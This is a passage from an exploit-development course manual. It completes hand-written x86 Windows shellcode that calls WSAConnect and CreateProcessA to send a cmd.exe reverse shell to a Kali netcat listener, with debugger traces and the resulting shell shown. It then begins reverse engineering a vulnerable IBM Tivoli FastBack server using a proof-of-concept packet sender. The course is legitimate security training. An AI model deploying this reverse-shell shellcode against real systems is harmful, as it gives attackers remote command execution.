stack, and passed the pointer to it as a parameter to WSAConnect. The rest of the parameters
also seem to have been pushed onto the stack correctly.
Before stepping over the call and inspecting the return value, let’s open a Netcat listener on our
Kali machine. Although our reverse shell is not complete yet, this API call should initiate the
connection, and we can catch it using Netcat. If the connection is unsuccessful, the API will time
out.

0:002> p
eax=00000000 ebx=75070000 ecx=adbfb388 edx=770a4550 esi=00000180 edi=0254f8d0
eip=02350122 esp=0254f8d0 ebp=0254fd14 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
02350122 0000 add byte ptr [eax],al ds:0023:00000000=??
Listing 349 - Calling WSAConnect inside WinDbg

After stepping over the function, we observe that the return value is 0 (Listing 349). According to
the official documentation, this means that our call was successful.
We can confirm that the call succeeded by switching to our Kali machine, where we should find
Netcat receiving a connection:
kali@kali:~$ sudo nc -lvp 443
[sudo] password for kali:
listening on [any] 443 ...
192.168.119.10: inverse host lookup failed: Unknown host
connect to [192.168.119.120] from (UNKNOWN) [192.168.120.10] 51336
Listing 350 - Receiving a connection from our shellcode to our netcat listener

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 284
Windows User Mode Exploit Development

Excellent! We’re now one step closer to creating a full reverse shell. Next, let’s determine how to
attach a command prompt to this connection.

7.6.4.1 Exercises
1. Review the official documentation of the WSAConnect API and ensure you understand the
arguments required to successfully call it.
2. Make sure you understand the definition of the structures used in this API call and their
members.
3. Update the shellcode to include the call to WSAConnect. Pay attention when creating the
structures on the stack, and ensure that the values are pushed in the correct order.
4. Set up a Netcat listener and then run the shellcode. Ensure that you can successfully call
WSAConnect by inspecting the return value inside WinDbg.
5. Modify your shellcode to connect to your Kali machine on port 21760.

7.6.5 Calling CreateProcessA


Now that we have successfully initiated a connection, we need to find a way to start a cmd.exe
process and redirect its input and output through our initiated connection.
We’ll use the CreateProcessA258 API to, as its name suggests, create a new process. Below, we
can examine the function prototype to better understand the required parameters:
BOOL CreateProcessA(
LPCSTR lpApplicationName,
LPSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCSTR lpCurrentDirectory,
LPSTARTUPINFOA lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation
);
Listing 351 - The prototype of CreateProcessA

The first parameter required by the API (Listing 351) is lpApplicationName. This parameter must
contain a pointer to a string, which represents the application that will be executed. If the
parameter is set to NULL, the second parameter (lpCommandLine) can not be NULL, and vice-
versa. This parameter expects a pointer to a string containing the command line to be executed.
Our shellcode will use this parameter to run cmd.exe.
Next, let’s address the lpProcessAttributes and lpThreadAttributes parameters, which require
pointers to SECURITY_ATTRIBUTES259 type structures. For our shellcode, these parameters can
be set to NULL.

258
(Microsoft - CreateProcessA), https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-
createprocessa

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 285
Windows User Mode Exploit Development

The following parameter, bInheritHandles, expects a TRUE (1) or FALSE (0) value. This value
determines if the inheritable handles260 from the Python calling process are inherited by the new
process (cmd.exe). We’ll need to set this value to TRUE for our reverse shell, which we’ll explore in
more detail soon.
bInheritHandles is followed by the dwCreationFlags parameter, which expects various Process
Creation Flags.261 If this value is NULL, the cmd.exe process will use the same flags as the calling
process.
The lpEnvironment parameter expects a pointer to an environment block. The official
documentation indicates that if this parameter is set to NULL, it will share the same environment
block as the calling process.
lpCurrentDirectory allows us to specify the full path to the directory for the process. If we set it to
NULL, it will use the same path as the current calling process. In our case, cmd.exe is added to
the PATH, allowing us to launch the executable from any path. However, depending on which
process the shellcode runs, this parameter might be required.
The last two parameters, lpStartupInfo and lpProcessInformation, require pointers to
STARTUPINFOA262 and PROCESS_INFORMATION263 structures.
Because the PROCESS_INFORMATION structure will be populated as part of the API, we only need
to know the size of the structure. On the other hand, the STARTUPINFOA structure has to be
passed to the API by our shellcode. To do this, we’ll need to review the members of the structure
and set them up accordingly.
typedef struct _STARTUPINFOA {
DWORD cb;
LPSTR lpReserved;
LPSTR lpDesktop;
LPSTR lpTitle;
DWORD dwX;
DWORD dwY;
DWORD dwXSize;
DWORD dwYSize;
DWORD dwXCountChars;
DWORD dwYCountChars;
DWORD dwFillAttribute;
DWORD dwFlags;
WORD wShowWindow;
WORD cbReserved2;
LPBYTE lpReserved2;
HANDLE hStdInput;

259
(Microsoft - SECURITY_ATTRIBUTES), https://docs.microsoft.com/en-us/previous-
versions/windows/desktop/legacy/aa379560(v=vs.85)
260
(Microsoft - Handle Inheritance), https://docs.microsoft.com/en-us/windows/win32/sysinfo/handle-inheritance
261
(Process Creation Flags), https://docs.microsoft.com/en-us/windows/win32/procthread/process-creation-flags
262
(Microsoft - STARTUPINFOA), https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-processthreadsapi-
startupinfoa
263
(Microsoft - PROCESS_INFORMATION), https://docs.microsoft.com/en-us/windows/win32/api/processthreadsapi/ns-
processthreadsapi-process_information

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 286
Windows User Mode Exploit Development

HANDLE hStdOutput;
HANDLE hStdError;
} STARTUPINFOA, *LPSTARTUPINFOA;
Listing 352 - STARTUPINFOA structure

The official documentation shown in Listing 352 reveals that we only have to worry about a few
members. We can set the remaining members to NULL.
The first member we need to set is cb, which requires the size of the structure. We can easily
calculate this value using its publicly available symbols and WinDbg:
0:002> dt STARTUPINFOA
MSVCR120!STARTUPINFOA
+0x000 cb : Uint4B
+0x004 lpReserved : Ptr32 Char
+0x008 lpDesktop : Ptr32 Char
+0x00c lpTitle : Ptr32 Char
+0x010 dwX : Uint4B
+0x014 dwY : Uint4B
+0x018 dwXSize : Uint4B
+0x01c dwYSize : Uint4B
+0x020 dwXCountChars : Uint4B
+0x024 dwYCountChars : Uint4B
+0x028 dwFillAttribute : Uint4B
+0x02c dwFlags : Uint4B
+0x030 wShowWindow : Uint2B
+0x032 cbReserved2 : Uint2B
+0x034 lpReserved2 : Ptr32 UChar
+0x038 hStdInput : Ptr32 Void
+0x03c hStdOutput : Ptr32 Void
+0x040 hStdError : Ptr32 Void

0:002> ?? sizeof(STARTUPINFOA)
unsigned int 0x44
Listing 353 - Obtaining the size of the STARTUPINFOA structure

The second member we need to worry about is dwFlags. It determines whether certain members
of the STARTUPINFOA structure are used when the process creates a window. We’ll need to set
this member to the STARTF_USESTDHANDLES flag to enable the hStdInput, hStdOutput, and
hStdError members. We will examine why these members are important for our reverse shell
shortly.
It is worth mentioning that if this flag is specified, the handles of the calling process must be
inheritable, and the bInheritHandles parameter must be set to TRUE.
Because we will set the STARTF_USESTDHANDLES flag, we also need to set the members that
this flag enables. The official documentation tells us that all of these members accept a handle,
which receives input (hStdInput), output (hStdOutput), and error handling (hStdError). To interact
with the cmd.exe process through our socket, we can specify the socket descriptor obtained from
the WSASocketA API call as a handle.
With a better understanding of the API prototype and the structures it uses, let’s inspect our
updated shellcode. Since this API requires a large number of arguments and a large structure, we
will break the shellcode down into a few functions:

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 287
Windows User Mode Exploit Development

" create_startupinfoa: " #


" push esi ;" # Push hStdError
" push esi ;" # Push hStdOutput
" push esi ;" # Push hStdInput
" xor eax, eax ;" # Null EAX
" push eax ;" # Push lpReserved2
" push eax ;" # Push cbReserved2 & wShowWindow
" mov al, 0x80 ;" # Move 0x80 to AL
" xor ecx, ecx ;" # Null ECX
" mov cx, 0x80 ;" # Move 0x80 to CX
" add eax, ecx ;" # Set EAX to 0x100
" push eax ;" # Push dwFlags
" xor eax, eax ;" # Null EAX
" push eax ;" # Push dwFillAttribute
" push eax ;" # Push dwYCountChars
" push eax ;" # Push dwXCountChars
" push eax ;" # Push dwYSize
" push eax ;" # Push dwXSize
" push eax ;" # Push dwY
" push eax ;" # Push dwX
" push eax ;" # Push lpTitle
" push eax ;" # Push lpDesktop
" push eax ;" # Push lpReserved
" mov al, 0x44 ;" # Move 0x44 to AL
" push eax ;" # Push cb
" push esp ;" # Push pointer to the STARTUPINFOA
structure
" pop edi ;" # Store pointer to STARTUPINFOA in EDI
Listing 354 - reverse_shell_0x05.py: Creating the STARTUPINFOA structure

First, we introduce the create_startupinfoa function, which is responsible for creating the
STARTUPINFOA and obtaining a pointer to it for later use.
Next, we push the ESI register, which currently holds our socket descriptor, to the stack three
times. This sets the hStdInput, hStdOutput, and hStdError members.
This instruction is followed by pushing two NULL DWORDS setting the lpReserved2, cbReserved2,
and wShowWindow members.
Continuing the logic of our function, we set both the AL and CX registers to 0x80, and then add
them together, storing the result in EAX. This value is then pushed as the dwFlags member.
The only other parameter not set to NULL is cb, which is set to the structure size (0x44).
As a final step in the create_startupinfoa function, we push the ESP register, which gives us a
pointer to the STARTUPINFOA structure on the stack. We then POP that value into EDI.
The next step is to store the “cmd.exe” string and obtain a pointer to it. The assembly instructions
required to do that are shown below:
" create_cmd_string: " #
" mov eax, 0xff9a879b ;" # Move 0xff9a879b into EAX
" neg eax ;" # Negate EAX, EAX = 00657865
" push eax ;" # Push part of the "cmd.exe" string
" push 0x2e646d63 ;" # Push the remainder of the "cmd.exe"

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 288
Windows User Mode Exploit Development

string
" push esp ;" # Push pointer to the "cmd.exe" string
" pop ebx ;" # Store pointer to the "cmd.exe" string
in EBX
Listing 355 - Store the “cmd.exe” string and get a pointer to it

The assembly instructions from Listing 355 start by moving a negative value into EAX. This
instruction is followed by a NEG264 instruction, which will result in the last part of the string
including the NULL string terminator. This instruction allows us to avoid the NULL byte in our
shellcode.
Finally, we push the rest of the “cmd.exe” string to the stack, and obtain a pointer to it in EBX to
use later.
Now that we have the STARTUPINFOA structure and “cmd.exe” string ready, it’s time to set up the
arguments and call the function:
" call_createprocessa: " #
" mov eax, esp ;" # Move ESP to EAX
" xor ecx, ecx ;" # Null ECX
" mov cx, 0x390 ;" # Move 0x390 to CX
" sub eax, ecx ;" # Subtract CX from EAX to avoid
overwriting the structure later
" push eax ;" # Push lpProcessInformation
" push edi ;" # Push lpStartupInfo
" xor eax, eax ;" # Null EAX
" push eax ;" # Push lpCurrentDirectory
" push eax ;" # Push lpEnvironment
" push eax ;" # Push dwCreationFlags
" inc eax ;" # Increase EAX, EAX = 0x01 (TRUE)
" push eax ;" # Push bInheritHandles
" dec eax ;" # Null EAX
" push eax ;" # Push lpThreadAttributes
" push eax ;" # Push lpProcessAttributes
" push ebx ;" # Push lpCommandLine
" push eax ;" # Push lpApplicationName
" call dword ptr [ebp+0x18] ;" # Call CreateProcessA
Listing 356 - Calling the CreateProcessA API

The call_createprocessa function starts by moving the ESP register to EAX and subtracting 0x390
from it with the help of ECX. This is the same step we took when calling the WSAStartup API,
which populated the WSADATA structure. This time, we are using this memory address to store
the PROCESS_INFORMATION structure, which will be populated by the API.
Next, we push a pointer to the STARTUPINFOA structure that we previously stored in EDI. This
instruction is followed by three NULL DWORDs, setting the next three arguments.
We then increase EAX, making the register contain the value 0x01 (TRUE), and push it as the
bInheritHandles argument. Then we decrease the register, setting it back to NULL, and push two
NULL DWORDs.

264
(Faydoc - NEG), http://faydoc.tripod.com/cpu/neg.htm

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 289
Windows User Mode Exploit Development

The lpCommandLine, which requires a pointer to a string representing the command to be


executed, is pushed on the stack using the EBX register set in a previous step. Finally, we set the
lpApplicationName argument to NULL and call the API.
Let’s run our updated shellcode and verify the return value of CreateProcessA inside WinDbg by
setting a breakpoint right at the call instruction.
We’ll be sure to restart our Netcat listener on the Kali machine. Without it, the call to WSAConnect
will time out.
0:002> bp 0294016c

0:002> g
ModLoad: 73af0000 73b40000 C:\Windows\system32\mswsock.dll
Breakpoint 0 hit
eax=00000000 ebx=02b3f304 ecx=00000390 edx=770a4550 esi=00000180 edi=02b3f30c
eip=0294016c esp=02b3f2dc ebp=02b3f794 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0294016c ff5518 call dword ptr [ebp+18h]
ss:0023:02b3f7ac={KERNEL32!CreateProcessAStub (76e68d80)}

0:002> p
eax=00000001 ebx=02b3f304 ecx=74517fd6 edx=00000000 esi=00000180 edi=02b3f30c
eip=0294016f esp=02b3f304 ebp=02b3f794 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
0294016f 0000 add byte ptr [eax],al ds:0023:00000001=??
Listing 357 - Calling CreateProcessA inside WinDbg

According to the output from Listing 357, the return value we got is not NULL. This indicates that
the call was successful.
We can confirm that the call was successful by switching to our Kali machine, where we should
find a fully-working reverse shell.
kali@kali:~$ sudo nc -lvp 443
[sudo] password for kali:
listening on [any] 443 ...
192.168.119.10: inverse host lookup failed: Unknown host
connect to [192.168.119.120] from (UNKNOWN) [192.168.120.10] 51438
Microsoft Windows [Version 10.0.16299.15]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Users\offsec\Desktop>
Listing 358 - Getting a reverse shell on our Kali machine

Excellent! We have successfully written a reverse shell in Assembly, using the Keystone Python
library to develop and run it.

7.6.5.1 Exercises
1. Go over the official documentation of the CreateProcessA API and ensure that you
understand the arguments required to successfully call it.
2. Make sure you understand the definition of the STARTUPINFOA structure used by the API.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 290
Windows User Mode Exploit Development

3. Update the shellcode to write the STARTUPINFOA structure to the stack. Using WinDbg,
verify it is correct.
4. Continue to modify the shellcode and get a pointer to the “cmd.exe” string.
5. Assemble all the pieces and obtain a fully-functional reverse shell on the Kali machine.
6. Comment out the INT3 instruction and run the shellcode without the debugger attached.
Can you fix the crash that occurs after you receive your shell?
7. Run the final shellcode while having the debugger attached. Inspect the opcodes and verify if
there are any NULL bytes present, if so attempt to replace the instructions in order to avoid
them.

7.6.5.2 Extra Miles


1. Modify the current shellcode and optimize the instructions to reduce as much space as
possible. How many bytes can you save by using more efficient instructions? Inspect
instructions such as rep movsb265 when creating structures that require a lot of NULL fields.
2. Update the newly optimized shellcode and print the generated opcodes in a format that you
can use in an exploit, covered in one of the previous modules.
3. Change your current shellcode from a reverse shell to a bind shell. Go over the Microsoft
documentation and explore the bind266 API for more information.

7.7 Wrapping Up
This module examined the theory and practical steps behind creating custom shellcode for
universal use on multiple Windows platforms. We explored various prototypes for the functions
required to achieve a reverse shell, and learned how to invoke them from assembly. We also
tackled how to create various structures in memory and pass them as arguments when needed.
Although smaller and simpler shellcode can be achieved by statically calling the required
functions, finding these function addresses dynamically is the only option in Windows Vista and
higher due to ASLR.
It is also worth mentioning that the shellcode covered in this module uses instructions that are
easy to follow and understand rather than focusing on saving as much space as possible. It is
possible to reduce the size of the shellcode by using more optimal assembly instructions.

265
(Faydoc - REP MOVSB), http://faydoc.tripod.com/cpu/movsb.htm
266
(Microsoft - bind), https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-bind

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 291
Windows User Mode Exploit Development

8 Reverse Engineering for Bugs


We typically think of exploit development as beginning with a proof of concept and/or a CVE. But
there’s more to the story - first, the vulnerability must be discovered. In this module, we will cover
the process behind finding a vulnerability.
There are two techniques we can use to find vulnerabilities in binary applications: reverse
engineering and fuzzing.267
In reverse engineering, we examine a target application’s compiled binary using tools that help
obtain a higher level of abstraction. This process helps identify potential vulnerabilities in the
target program code.
The three main stages of reverse engineering are:
1. Installing the target application and enumerating the possible ways to feed input to it.
2. Reverse engineering the code that parses the input, which usually involves examining the file
formats or network protocols the application uses.
3. Locating vulnerabilities inside the reverse-engineered code, such as logical vulnerabilities or
memory corruptions.
The fundamental principle of fuzzing is to feed the target application with malformed input and
(hopefully) force it to generate an access violation.
Each of these two technique has advantages and disadvantages. Reverse engineering can
guarantee complete coverage of all code sections, but it requires a large time investment. Fuzzing
tests a large amount of input against highly complex applications - such as web browsers - but it
is nearly impossible to cover every execution path.
While these techniques differ in concept, they are often used together by first performing reverse
engineering and then switching to fuzzing for the remaining portion of the vulnerability discovery
process.
In this module, we’ll focus on reverse engineering. Although we won’t cover a comprehensive
approach, we’ll learn the skills required to understand a program’s behavior. We’ll start by learning
how to follow a program’s execution with static and dynamic analysis. Next, we’ll leverage this
experience to discover increasingly complex vulnerabilities that we will exploit in later modules.
The target for our analysis is an older version of Tivoli Storage Manager FastBack server.268

8.1 Installation and Enumeration


Tivoli Storage Manager FastBack server (TSM) is the server component of an old backup product
solution from IBM. The trial installation version 6.1.4 contains a wide assortment of
vulnerabilities, providing us with an excellent educational opportunity.

267
(OWASP Foundation, Inc., 2020), https://www.owasp.org/index.php/Fuzzing
268
(IBM, 2017),
https://www.ibm.com/support/knowledgecenter/en/SS9NU9_6.1.11/com.ibm.tsm.fb.kc.doc/FB_InstallUse/c_fast_overview.html

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 292
Windows User Mode Exploit Development

Let’s start the reverse engineering process by installing the application and performing
enumeration.

8.1.1 Installing Tivoli Storage Manager


We’ll need to install the trial of TSM on the Windows 10 student VM every time the VM is reverted
due to inactivity or via the student control panel, so let’s take a moment to get familiar with the
straightforward installation steps.
We can find the installer (setup.exe) in the following folder:

C:\Installers\FastBackServer-6.1.4\X86_TryAndBuy
Listing 359 - Location of the TSM installer

We’ll start the installation by double clicking the installer file. Next, we’ll select the Backup Server
option on the “Installation Type” menu, as shown in Figure 69.

Figure 69: Selecting Backup Server installation type

Next, let’s accept the trial popup warning to begin the installation process. A popup will appear
reporting that the “Service FastBack Data Deduplication Service failed to start.” We need to select
Ignore.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 293
Windows User Mode Exploit Development

Figure 70: Ignoring service start failure

Once the software is installed, the required drivers will load and Windows will warn us about the
missing verification of the driver publisher (Figure 71). We need to select Install this driver
software anyway to continue the installation.

Figure 71: Driver publisher warning

Finally, we’ll accept the prompt to reboot the machine. After restarting, the TSM installation is
complete and we can reconnect to our Windows 10 machine.
With TSM installed, we can focus on evaluating the attack surface through enumeration.

8.1.1.1 Exercise
1. Install TSM on your Windows 10 student VM.

8.1.2 Enumerating an Application


To lay the groundwork for our reverse engineering, we need to investigate the attack surface and
learn about what types of vulnerabilities we can find. When attacking a binary application, we
typically focus on finding unsanitized memory operations and logical bugs that we could leverage
to obtain remote code execution or local privilege escalation.
If the target is running as a Windows service, we could also search for insecure service
permission vulnerabilities. Likewise, targets that load a driver in kernel memory space should be
investigated for potential kernel vulnerabilities.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 294
Windows User Mode Exploit Development

In this module, we will focus on leveraging unsanitized memory operations and logic
vulnerabilities by sending maliciously-crafted data to a target application’s open network port.
To achieve this goal, we’ll start by identifying the executable programs running on our system that
listen for remote connections on a network port.
We can do this using TCPView269 from SysInternals, which we’ll find on the Windows 10 student
VM in the C:\Tools\SysinternalsSuite folder. Let’s open it with administrative permissions and
accept the EULA.
Next, we need to disable Resolve Addresses under Options (Figure 72) so we can easily identify
which network ports are not listening on the local loopback interface.

Figure 72: Disabling IP address resolution

With the option to resolve IP addresses disabled, we can analyze the output from TCPView:

Figure 73: Listening network ports associated with TSM

We’ll find two different processes - FastBackMount.exe and FastBackServer.exe - which seem to
be associated with TSM based on their names.
First, we can observe that FastBackMount.exe is listening on the external IP address on TCP port
30051, while UDP port 30005 only listens on the local loopback interface. This is useful

269
(Microsoft, 2011), https://docs.microsoft.com/en-us/sysinternals/downloads/tcpview

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 295
Windows User Mode Exploit Development

information for obtaining both a remote attack surface for potential remote code execution (RCE),
and a local attack surface for potential local privilege escalation (LPE), assuming the target is
running with elevated privileges.
We can also observe that FastBackServer.exe is listening on TCP ports 1320, 11406, and 11460
and UDP port 11461 on the external IP address. This provides us with four additional potential
remote entry points.
At this point as an attacker, we should investigate what privileges these two target executables
are running with. This information is vital as it will tell us what level of access we’d obtain on the
target system, should we find a vulnerability to leverage. We’ll leave this step as an exercise.
With network enumeration complete, let’s pick a target to begin our reverse engineering process.
We have to start with a single network port and go through all of them to be thorough. In our case,
we will start by choosing TCP port 11460 to attack FastBackServer.exe.

8.1.2.1 Exercises
1. Use TCPView to enumerate listening TCP and UDP network ports.
2. What privileges do the FastBackMount.exe and FastBackServer.exe processes run with?
3. Determine what services are installed and running as part of TSM.

8.2 Interacting with Tivoli Storage Manager


In the previous section, we decided to attack the application through TCP port 11460. This port is
associated with a specific TSM process (FastBackServer.exe), so our next step is to figure out
how to interact with it and influence its behavior.
We will trigger different program execution paths by crafting and sending data from our Python
script to the destination network port. We can use WinDbg to trace and debug FastBackServer
code.
While debugging the target code, we’ll align WinDbg with IDA Pro, and use its graphical view to
better understand the code flow along with any input constraints.

As you read through the next sections, it is highly recommended that you follow
along in IDA Pro.

8.2.1 Hooking the recv API


To start the process, let’s open WinDbg with administrator permissions and attach it to the
FastBackServer.exe process. Next, we’ll set a breakpoint on the Win32 recv270 API located in
Wsock32.dll, as shown in Listing 360.

270
(Microsoft, 2018), https://docs.microsoft.com/en-us/windows/win32/api/winsock/nf-winsock-recv

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 296
Windows User Mode Exploit Development

0:077> bp wsock32!recv

0:077> g
Listing 360 - Setting a breakpoint in recv

Why this breakpoint? When an application receives data from a connected socket, the recv
function accepts that data from a listening TCP port. If we hook this function and send arbitrary
data to the TCP port, we can identify the entry point into the application and inspect the code that
will parse our data.
With the breakpoint set, we need to write a Python script that connects to the remote application
on port 11460 and sends data to it. Our first proof of concept (PoC) is shown in Listing 361.
import socket
import sys

buf = bytearray([0x41]*100)

def main():
if len(sys.argv) != 2:
print("Usage: %s <ip_address>\n" % (sys.argv[0]))
sys.exit(1)

server = sys.argv[1]
port = 11460

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, port))

s.send(buf)
s.close()

print("[+] Packet sent")


sys.exit(0)

if __name__ == "__main__":
main()
Listing 361 - Initial proof of concept for Tivoli

Our PoC connects to the remote TCP port and sends 100 “A” (0x41) characters.
When executed, WinDbg will detect a call to recv issued by the Tivoli application code and break:
Breakpoint 0 hit
eax=00000b6c ebx=0604a808 ecx=00df8058 edx=00df8020 esi=0604a808 edi=00669360
eip=67e71e90 esp=0d85fb58 ebp=0d85fe94 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
WSOCK32!recv:
67e71e90 8bff mov edi,edi
Listing 362 - Breaking execution when calling recv

The first step is complete. We hit our breakpoint just after executing our PoC, which suggests that
it was triggered by the data we sent over TCP.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 297
Windows User Mode Exploit Development

We can confirm our hypothesis by examining the arguments for recv. Its function prototype is
shown in Listing 363.
int recv(
SOCKET s,
char *buf,
int len,
int flags
);
Listing 363 - Function prototype for recv

We’re interested in buf and len. Let’s dump five DWORDs from the stack at the address pointed to
by ESP:
0:077> dd esp L5
0d85fb58 00581ae8 00000b6c 00df8058 00004400
0d85fb68 00000000
Listing 364 - Verify recv buf and length

Based on the output, any data received will be copied into the buffer located at 0x00df8058 with
the maximum length of 0x4400 bytes.
Let’s continue the execution to the end of the recv function and examine the execution result
stored in EAX.
0:077> pt
eax=00000064 ebx=0604a808 ecx=621f146d edx=77031670 esi=0604a808 edi=00669360
eip=67e71eeb esp=0d85fb58 ebp=0d85fe94 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
WSOCK32!recv+0x5b:
67e71eeb c21000 ret 10h
Listing 365 - Verify length of our sent data

In Listing 365, we find the result to be 0x64. We can translate this to its decimal value of 100,
which is exactly the length of the data we sent.
0:077> ? 0x64
Evaluate expression: 100 = 00000064
Listing 366 - Convert value of sent data

Finally, let’s dump the content of the input buffer.


0:078> dd 00df8058
00df8058 41414141 41414141 41414141 41414141
00df8068 41414141 41414141 41414141 41414141
00df8078 41414141 41414141 41414141 41414141
00df8088 41414141 41414141 41414141 41414141
00df8098 41414141 41414141 41414141 41414141
00df80a8 41414141 41414141 41414141 41414141
00df80b8 41414141 00000000 00000000 00000000
00df80c8 00000000 00000000 00000000 00000000
Listing 367 - Verify our data at buf address

Great! In the listing above, we can observe our 100 0x41 bytes.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 298
Windows User Mode Exploit Development

Tracing the application’s steps shows that the data we sent over TCP was received by Tivoli and
copied into a buffer. Next, we’ll continue our reverse engineering process, identify our entry point
into the application, and decipher how Tivoli interprets and parses this data.

8.2.1.1 Exercises
1. Attach WinDbg to FastBackServer.exe and set the breakpoint on recv.
2. Send some data over TCP on port 11460 and verify that it’s received and copied to a buffer.

8.2.2 Synchronizing WinDbg and IDA Pro


If we limit ourselves to using WinDbg for analysis, we’re only taking advantage of half of the tools
at our disposal. We can combine dynamic analysis in WinDbg with static analysis using IDA Pro.
In this section, we’ll learn how to use these tools to start our reverse engineering process and
introduce some important concepts we’ll need in this and the next modules.

This section will cover a lot of assembly code and associated explanations. It is
imperative that you become familiar with assembly, in particular conditional
branching. In any area you are lacking, we suggest reviewing the steps presented
here until you are comfortable.

Before we can start our analysis with IDA Pro, we first need to determine which PE file to
examine. The recv function might have been called by the FastBackServer executable itself or a
DLL loaded into its memory space. We can use WinDbg to understand this by dumping the
FastBackServer call stack (k):
0:077> k
# ChildEBP RetAddr
00 0d85fe94 0058164e WSOCK32!recv+0x5b
01 0d85feb0 005815d3 FastBackServer!FX_AGENT_CopyReceiveBuff+0x18
02 0d85fec0 00581320 FastBackServer!FX_AGENT_GetData+0xd
03 0d85fef0 0048ca98 FastBackServer!FX_AGENT_Cyclic+0xd0
04 0d85ff48 006693e9 FastBackServer!ORABR_Thread+0xef
05 0d85ff80 76f19564 FastBackServer!_beginthreadex+0xf4
06 0d85ff94 7700293c KERNEL32!BaseThreadInitThunk+0x24
07 0d85ffdc 77002910 ntdll!__RtlUserThreadStart+0x2b
08 0d85ffec 00000000 ntdll!_RtlUserThreadStart+0x1b
Listing 368 - Recv callstack in Tivoli

The highlighted output shows that all the return addresses in the higher part of the call stack
reside in FastBackServer, therefore we’ll analyze that with IDA Pro.

Let’s use the List Loaded Modules command (lm) to find the location of the executable on disk.
The full path is shown in Listing 369.
0:077> lm m fastbackserver
Browse full module list
start end module name
00400000 00c0c000 FastBackServer (coff symbols) C:\Program
Files\Tivoli\TSM\FastBack\server\FastBackServer.exe

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 299
Windows User Mode Exploit Development

Listing 369 - Location of executable on disk

To examine FastBackServer.exe in IDA Pro, we need to copy it to our Kali machine. Once loaded,
we can synchronize IDA Pro with our debugging session in WinDbg and begin processing it.
When loading FastBackServer.exe in IDA Pro, we will be prompted for the location of multiple
imported DLLs. We can cancel out of these prompts as we won’t need these modules for our
analysis.
With IDA Pro ready, we return to WinDbg and let our debugging session finish the execution of
recv, after which we will return into the FastBackServer calling code. When that happens, we can
find the same location in IDA Pro using the address of the instruction we returned to.
Let’s single-step through the return instruction to arrive at the address
FastBackServer!FX_AGENT_Receive+0x1e2:
0:006> p
eax=00000064 ebx=0604a808 ecx=621f146d edx=77031670 esi=0604a808 edi=00669360
eip=00581ae8 esp=0d85fb5c ebp=0d85fe94 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
FastBackServer!FX_AGENT_Receive+0x1e2:
00581ae8 8945f8 mov dword ptr [ebp-8],eax ss:0023:0d6dfe8c=00000001
Listing 370 - Return address inside FastBackServer

Next, let’s search in IDA Pro for the FX_AGENT_Receive function through Jump > Jump to
function…. We can right-click any function name to enter a Quick filter with the name of the
function we are searching for, as shown in Figure 74.

Figure 74: Searching for FX_AGENT_Receive

After double-clicking the function name, we’ll land at the function’s entry point. To reach the same
position in the code we are at in the WinDbg session, we need to scroll down to the call to recv at
address 0x0581AE3 in IDA Pro, as shown in Figure 75.

EXP-301 v1.0 - Copyright © 2021 Offensive Security Ltd. All rights reserved. 300

You might also like